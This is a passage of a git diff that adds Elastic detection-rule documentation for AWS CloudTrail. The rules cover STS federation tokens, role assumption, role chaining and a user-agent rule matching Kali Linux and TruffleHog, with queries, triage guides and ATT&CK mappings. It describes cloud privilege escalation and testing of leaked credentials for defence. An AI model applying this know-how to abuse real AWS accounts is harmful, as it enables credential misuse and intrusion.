or *terraform* or *Pulumi* or *eksctl*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-getfederationtoken-with-administratoraccess-in-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-getfederationtoken-with-administratoraccess-in-request.asciidoc new file mode 100644 index 0000000000..45322bbc79 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-getfederationtoken-with-administratoraccess-in-request.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-34-aws-sts-getfederationtoken-with-administratoraccess-in-request]] +=== AWS STS GetFederationToken with AdministratorAccess in Request + +Identifies successful calls to AWS STS GetFederationToken where request parameters reference AdministratorAccess. This API returns temporary security credentials for a federated user with permissions bounded by the calling IAM user and any inline session policy passed in the request. Supplying or referencing the AWS managed AdministratorAccess policy (or an equivalent string in the policy payload) can grant broadly privileged temporary credentials and may indicate privilege abuse or dangerous automation. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_GetFederationToken.html +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS STS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS GetFederationToken with AdministratorAccess in Request* + + +`GetFederationToken` issues temporary credentials (typically up to 36 hours) for a **federated user name** you specify. +The effective permissions are the **intersection** of the IAM user’s permissions and the optional session policy in the +request. Including `AdministratorAccess` in `Policy` (or a policy ARN / JSON that names it) is almost always +over-privileged for federation use cases. For first-time `GetFederationToken` usage without this policy signal, see +**AWS First Occurrence of STS GetFederationToken Request by User**. + +**Note:** AWS documents that `GetFederationToken` must be called with **long-term IAM user credentials** (not role +temporary credentials). Pivot on `aws.cloudtrail.user_identity.arn` and `access_key_id` accordingly. + + +*Possible investigation steps* + + +- Parse `aws.cloudtrail.request_parameters` for `name`, `policy`, and `durationSeconds`. +- Confirm whether the IAM user should perform federation or if the key may be compromised. +- Search CloudTrail for subsequent events using `response_elements.credentials.accessKeyId` from the same response (if + logged). +- Correlate with IAM changes, data-plane access, or other STS calls from the same `source.ip` in a ±30 minute window. + + +*False positive analysis* + + +- Typos or test accounts in non-production: still validate and narrow session policies. + + +*Response and remediation* + + +- Revoke or rotate the IAM user access keys involved; enforce least privilege on the user and replace broad session + policies. +- https://docs.aws.amazon.com/STS/latest/APIReference/API_GetFederationToken.html[GetFederationToken] + + +*Additional information* + + +- https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html[AWS STS temporary security credentials] + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "sts.amazonaws.com" + and event.action: "GetFederationToken" + and event.outcome: "success" + and aws.cloudtrail.request_parameters: *AdministratorAccess* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Temporary Elevated Cloud Access +** ID: T1548.005 +** Reference URL: https://attack.mitre.org/techniques/T1548/005/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-role-assumption-by-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-role-assumption-by-service.asciidoc new file mode 100644 index 0000000000..4b973fa7d2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-role-assumption-by-service.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-aws-sts-role-assumption-by-service]] +=== AWS STS Role Assumption by Service + +Identifies when a service has assumed a role in AWS Security Token Service (STS). Services can assume a role to obtain temporary credentials and access AWS resources. Adversaries can use this technique for credential access and privilege escalation. This is a New Terms rule that identifies when a service assumes a role in AWS Security Token Service (STS) to obtain temporary credentials and access AWS resources. While often legitimate, adversaries may use this technique for unauthorized access, privilege escalation, or lateral movement within an AWS environment. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Resources: Investigation Guide +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Lateral Movement +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS STS + +*Version*: 217 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS Role Assumption by Service* + + +This rule identifies instances where AWS STS (Security Token Service) is used to assume a role, granting temporary credentials for AWS resource access. While this action is often legitimate, it can be exploited by adversaries to obtain unauthorized access, escalate privileges, or move laterally within an AWS environment. + + +*Possible Investigation Steps* + + +- **Identify the Actor and Assumed Role**: + - **User Identity**: Review the `aws.cloudtrail.user_identity.invoked_by` field to determine which service initiated the `AssumeRole` action. + - **Role Assumed**: Check the `aws.cloudtrail.resources.arn` field to confirm the assumed role and ensure it aligns with expected responsibilities. + - **Session Name**: Observe the `aws.cloudtrail.flattened.request_parameters.roleSessionName` for context on the session's intended purpose, if available. + - **Expiration Time**: Verify `aws.cloudtrail.flattened.response_elements.credentials.expiration` to determine when the credentials expire or expired. + +- **Inspect the User Agent for Tooling Identification**: + - **User Agent Details**: Review the `user_agent.original` field to identify the tool or SDK used for the role assumption. Indicators include: + - **AWS SDKs (e.g., Boto3)**: Often used in automated workflows or scripts. + - **AWS CLI**: Suggests command-line access, potentially indicating direct user interaction. + - **Custom Tooling**: Unusual user agents may signify custom or suspicious tools. + +- **Contextualize with Related Events**: + - **Review Event Patterns**: Check surrounding CloudTrail events to see if other actions coincide with this `AssumeRole` activity, such as attempts to access sensitive resources. + - **Identify High-Volume Exceptions**: Due to the potential volume of `AssumeRole` events, determine common, legitimate `roleArn` values or `user_agent` patterns, and consider adding these as exceptions to reduce noise. + +- **Evaluate the Privilege Level of the Assumed Role**: + - **Permissions**: Inspect permissions associated with the assumed role to understand its access level. + - **Authorized Usage**: Confirm whether the role is typically used for administrative purposes and if the assuming entity frequently accesses it as part of regular responsibilities. + + +*False Positive Analysis* + + +- **Automated Workflows and Applications**: Many applications or scheduled tasks may assume roles for standard operations. Check user agents and ARNs for consistency with known workflows. +- **Routine AWS Service Actions**: Historical data may reveal if the same service assumes new roles regularly as part of authorized operations. + + +*Response and Remediation* + + +- **Revoke Unauthorized Sessions**: If unauthorized, consider revoking the session by adjusting IAM policies or permissions associated with the assumed role. +- **Enhance Monitoring and Alerts**: Set up enhanced monitoring for high-risk roles, especially those with elevated privileges. +- **Manage Exceptions**: Regularly review and manage high-frequency roles and user agent patterns, adding trusted ARNs and user agents to exception lists to minimize alert fatigue. +- **Incident Response**: If malicious behavior is identified, follow incident response protocols, including containment, investigation, and remediation. + + +*Additional Information* + + +For more information on managing and securing AWS STS, refer to the https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html[AWS STS documentation] and AWS security best practices. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "sts.amazonaws.com" + and event.action: "AssumeRole" + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: "AWSService" + and aws.cloudtrail.user_identity.invoked_by: ( + "ec2.amazonaws.com" or + "lambda.amazonaws.com" or + "rds.amazonaws.com" or + "ssm.amazonaws.com" or + "ecs-tasks.amazonaws.com" or + "ecs.amazonaws.com" or + "eks.amazonaws.com" or + "eks-fargate.amazonaws.com" or + "codepipeline.amazonaws.com" or + "codebuild.amazonaws.com" or + "autoscaling.amazonaws.com") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Temporary Elevated Cloud Access +** ID: T1548.005 +** Reference URL: https://attack.mitre.org/techniques/T1548/005/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-role-assumption-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-role-assumption-by-user.asciidoc new file mode 100644 index 0000000000..4a185c2ea2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-role-assumption-by-user.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-aws-sts-role-assumption-by-user]] +=== AWS STS Role Assumption by User + +Identifies when a user or role has assumed a role in AWS Security Token Service (STS). Users can assume a role to obtain temporary credentials and access AWS resources. Adversaries can use this technique for credential access and privilege escalation. This is a New Terms rule that identifies when a user assumes a role in AWS Security Token Service (STS) to obtain temporary credentials and access AWS resources. While often legitimate, adversaries may use this technique for unauthorized access, privilege escalation, or lateral movement within an AWS environment. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Resources: Investigation Guide +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Lateral Movement +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS STS + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS Role Assumption by User* + + +This rule detects when a user assumes a role in AWS Security Token Service (STS), receiving temporary credentials to access AWS resources. While often used for legitimate purposes, this action can be leveraged by adversaries to obtain unauthorized access, escalate privileges, or move laterally within an AWS environment. + + +*Possible investigation steps* + + +- **Identify the User and Assumed Role**: + - **User Identity**: Check `aws.cloudtrail.user_identity.arn` for details about the initiator of the `AssumeRole` action. + - **Role Assumed**: Review `aws.cloudtrail.resources.arn` to confirm the role assumed and ensure it aligns with the user’s standard permissions. + - **Session Name**: Note `aws.cloudtrail.flattened.request_parameters.roleSessionName` for context on the purpose of the session. + - **Expiration Time**: Use `aws.cloudtrail.flattened.response_elements.credentials.expiration` to confirm the credential expiration. + +- **Inspect User Agent and Source Information**: + - **User Agent**: Analyze the `user_agent.original` field to identify if specific tooling or SDKs like AWS CLI, Boto3, or custom agents were used. + - **Source IP and Geolocation**: Examine `source.ip` and `source.geo` fields to determine the origin of the request, confirming if it aligns with expected locations. + +- **Correlate with Related Events**: + - **Identify Patterns**: Review related CloudTrail events for unusual access patterns, such as resource access or sensitive actions following this `AssumeRole` action. + - **Filter High-Volume Roles**: If this role or user has a high volume of access, evaluate `roleArn` or `user_agent` values for common patterns and add trusted entities as exceptions. + +- **Review the Privileges of the Assumed Role**: + - **Permissions**: Examine permissions associated with the `roleArn` to assess its access scope. + - **Authorized Usage**: Confirm if the role is used frequently for administrative purposes and if this aligns with the user’s regular responsibilities. + + +*False positive analysis* + + +- **Automated Processes and Applications**: Applications or scheduled tasks may assume roles regularly for operational purposes. Validate the consistency of the `user_agent` or `roleArn` with known automated workflows. +- **Standard IAM Policy Usage**: Confirm if the user or application routinely assumes new roles for normal operations by reviewing historical activity. + + +*Response and remediation* + + +- **Terminate Unauthorized Sessions**: If the role assumption is deemed unauthorized, revoke the session by modifying IAM policies or the permissions associated with the assumed role. +- **Strengthen Monitoring and Alerts**: Implement additional monitoring for specific high-risk roles, especially those with elevated permissions. +- **Regularly Manage Exceptions**: Regularly review high-volume roles and user agent patterns to refine alerts, minimizing noise by adding trusted patterns as exceptions. +- **Incident Response**: If confirmed as malicious, follow incident response protocols for containment, investigation, and remediation. + + +*Additional information* + + +For more details on managing and securing AWS STS in your environment, refer to the https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html[AWS STS documentation]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "sts.amazonaws.com" + and event.action: "AssumeRole" + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: "IAMUser" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-role-chaining.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-role-chaining.asciidoc new file mode 100644 index 0000000000..257116836e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sts-role-chaining.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-34-aws-sts-role-chaining]] +=== AWS STS Role Chaining + +Identifies role chaining activity. Role chaining is when you use one assumed role to assume a second role through the AWS CLI or API. While this a recognized functionality in AWS, role chaining can be abused for privilege escalation if the subsequent assumed role provides additional privileges. Role chaining can also be used as a persistence mechanism as each AssumeRole action results in a refreshed session token with a 1 hour maximum duration. This is a new terms rule that looks for the first occurance of one role (aws.cloudtrail.user_identity.session_context.session_issuer.arn) assuming another (aws.cloudtrail.resources.arn). + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html#id_roles_terms-and-concepts +* https://www.uptycs.com/blog/detecting-anomalous-aws-sessions-temporary-credentials +* https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS STS + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS Role Chaining* + + +Role chaining occurs when a role assumed with temporary credentials (`AssumeRole`) is used to assume another role. While supported by AWS, chaining can increase risk of Privilege escalation, if the second role grants broader permissions; and Persistence, since each chained AssumeRole refreshes the session with up to 1-hour duration. This new terms rule triggers on the first observed combination of one role (`aws.cloudtrail.user_identity.session_context.session_issuer.arn`) assuming another (`aws.cloudtrail.resources.arn`). + + +*Possible investigation steps* + + +- **Review Alert Context**: Investigate the alert, focusing on `aws.cloudtrail.user_identity.session_context.session_issuer.arn` (the calling role) and `aws.cloudtrail.resources.arn` (the target role). + +- **Determine scope and intent.** Check `aws.cloudtrail.recipient_account_id` and `aws.cloudtrail.resources.account_id` fields to identify whether the chaining is Intra-account (within the same AWS account) or Cross-account (from another AWS account). + +- **Check role privileges.** Compare policies of the calling and target roles. Determine if chaining increases permissions (for example, access to S3 data, IAM modifications, or admin privileges). + +- **Correlate with other activity.** Look for related alerts or CloudTrail activity within ±30 minutes: policy changes, unusual S3 access, or use of sensitive APIs. Use `aws.cloudtrail.user_identity.arn` to track behavior from the same role session, use `aws.cloudtrail.user_identity.session_context.session_issuer.arn` to track broader behavior from the role itself. + +- **Validate legitimacy.** Contact the account or service owner to confirm if the chaining was expected (for example, automation pipelines or federated access flows). + +- **Geography & source.** Review `cloud.region`, `source.address`, and other `geo` fields to assess if the activity originates from expected regions or network ranges. + + +*False positive analysis* + + +- **Expected role chaining.** Some organizations use role chaining as part of multi-account access strategies. Maintain an allowlist of known `issuer.arn` - `target.arn` pairs. +- **Automation and scheduled tasks.** CI/CD systems or monitoring tools may assume roles frequently. Validate by `userAgent` and historical behavior. +- **Test/dev environments.** Development accounts may generate experimental chaining patterns. Tune rules or exceptions to exclude low-risk accounts. + + +*Response and remediation* + + +**Immediate steps** +- **Preserve evidence.** Export triggering CloudTrail events (±30 minutes) into a restricted evidence bucket. Include session context, source IP, and user agent. +- **Notify owners.** Contact the owners of both roles to validate intent. + +**Containment (if suspicious)** +- **Revoke temporary credentials.** https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_revoke-sessions.html[Revoke Session Permissions] if possible, or attach https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSDenyAll.html[AWSDenyALL policy] to the originating role. +- **Restrict risky roles.** Apply least-privilege policies or temporarily deny `sts:AssumeRole` for suspicious principals. +- **Enable monitoring.** Ensure CloudTrail and GuardDuty are active in all regions to detect further chaining. + +**Scope and hunt** +- Search for additional AssumeRole activity by the same `issuer.arn` or `resources.arn` across other accounts and regions. +- Look for privilege escalation attempts (for example, IAM `AttachRolePolicy`, `UpdateAssumeRolePolicy`) or sensitive data access following the chain. + +**Recovery & hardening** +- Apply least privilege to all roles, limiting trust policies to only required principals. +- Enforce MFA where possible on AssumeRole operations. +- Periodically review role chaining patterns to validate necessity; remove unused or risky trust relationships. +- Document and tune new terms exceptions for known, legitimate chains. + + +*Additional information* + + +- https://github.com/aws-samples/aws-incident-response-playbooks/[AWS IR Playbooks]: NIST-aligned templates for evidence, containment, eradication, recovery, post-incident. +- https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]: Practical response steps for account and IAM misuse scenarios +- AWS IAM Best Practices: https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html[AWS docs] for reducing risk from temporary credentials. + +==== Setup + + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- + data_stream.dataset : "aws.cloudtrail" and + event.provider : "sts.amazonaws.com" and + event.action : "AssumeRole" and + aws.cloudtrail.user_identity.type : "AssumedRole" and + event.outcome : "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-suspicious-user-agent-fingerprint.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-suspicious-user-agent-fingerprint.asciidoc new file mode 100644 index 0000000000..24a6b35278 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-suspicious-user-agent-fingerprint.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-34-aws-suspicious-user-agent-fingerprint]] +=== AWS Suspicious User Agent Fingerprint + +Identifies successful AWS API calls where the CloudTrail user agent indicates offensive tooling or automated credential verification. This includes the AWS CLI or Boto3 reporting a Kali Linux distribution fingerprint (`distrib#kali`), and clients that identify as TruffleHog, which is commonly used to validate leaked secrets against live AWS APIs. These patterns are uncommon for routine production workloads and may indicate compromised credentials, unauthorized access, or security tooling operating outside approved scope. + +*Rule type*: eql + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-user-identity.html +* https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/ +* https://trufflesecurity.com/blog/trufflehog-in-your-logs +* https://kudelskisecurity.com/research/investigating-two-variants-of-the-trivy-supply-chain-compromise + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Tactic: Initial Access +* Rule Type: Event Correlation (EQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS Suspicious User Agent Fingerprint* + + +AWS CloudTrail records the user agent string for API requests, which can reveal the OS distribution and client tooling. +Two high-signal patterns this rule covers are: + +- **Kali Linux fingerprint** — When the AWS CLI or Boto3 reports `distrib#kali`, the request likely came from a Kali + environment. Kali is widely used for penetration testing and adversarial tradecraft, so this is worth correlating with + identity, network context, and sensitivity of API actions. +- **TruffleHog** — TruffleHog identifies itself in the user agent when verifying whether recovered credentials are still + valid. Observing it against your account may indicate leaked keys are being tested, including through supply-chain or + secret-scanning abuse by a third party. + +This detection focuses on **successful** API activity. Evaluate who performed the action, what was accessed or modified, +and whether the source and tooling align with expectations. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine which IAM + principal was used. +- Check whether this principal normally uses CLI/SDK clients and whether Kali or TruffleHog is ever expected for their role. + +**Review access patterns and actions** +- Examine API calls associated with the matched user agent for high-risk activity such as IAM changes, data access, + snapshot sharing, logging modification, or persistence-related actions. +- Look for sequences indicating initial access or expansion, such as `GetSessionToken`, `AssumeRole`, or privilege + escalation attempts. +- Determine whether the activity scope aligns with the principal’s intended permissions and business function. + +**Inspect source network and tooling context** +- Review `source.ip`, `source.geo` fields, and ASN to determine whether the request originated from an expected corporate + network, VPN, CI/CD egress, or known security testing infrastructure. +- Analyze `user_agent.original` to confirm which pattern matched (`distrib#kali` vs `TruffleHog`) and whether usage looks + interactive, scripted, or scanner-driven. +- Sudden shifts from console-based access to CLI from an offensive distribution, or first-time TruffleHog against the + account, may indicate credential compromise or unauthorized scanning. + +**Correlate with surrounding activity** +- Search for additional CloudTrail events tied to the same access key or session before and after this detection. +- Look for evidence of follow-on actions such as resource creation, configuration changes, or attempts to disable logging + and monitoring services. +- Assess whether the activity represents a single isolated request or part of a broader behavioral chain. + + +*False positive analysis* + + +- Internal red team or authorized assessments may produce Kali-based AWS CLI or SDK traffic. Confirm scope, timing, and + authorization. +- Organizational use of TruffleHog in CI to validate rotated keys or scan artifacts may generate this signal; restrict + exceptions to known roles, repositories, and egress IPs where possible. + + +*Response and remediation* + + +- If the activity is unauthorized, immediately revoke or rotate the affected access keys or invalidate the active + session. +- Review IAM permissions associated with the identity and reduce scope where possible to enforce least privilege. +- Investigate for additional indicators of compromise, including unusual role assumptions, new credential creation, or + data access from the same identity. +- Notify security operations and incident response teams if the activity aligns with known adversary behaviors or appears + part of a larger intrusion. +- Consider adding guardrails or conditional access controls (such as source IP restrictions or MFA enforcement) for + sensitive IAM principals. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "aws.cloudtrail" + and event.outcome == "success" + and ( + ( + stringContains(user_agent.original, "distrib#kali") + or stringContains(user_agent.original, "+kali") + or stringContains(user_agent.original, "kali-amd64") + or stringContains(user_agent.original, "kali-arm64") + ) or ( + stringContains(user_agent.original, "TruffleHog") + or stringContains(user_agent.original, "trufflehog") + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-systems-manager-securestring-parameter-request-with-decryption-flag.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-systems-manager-securestring-parameter-request-with-decryption-flag.asciidoc new file mode 100644 index 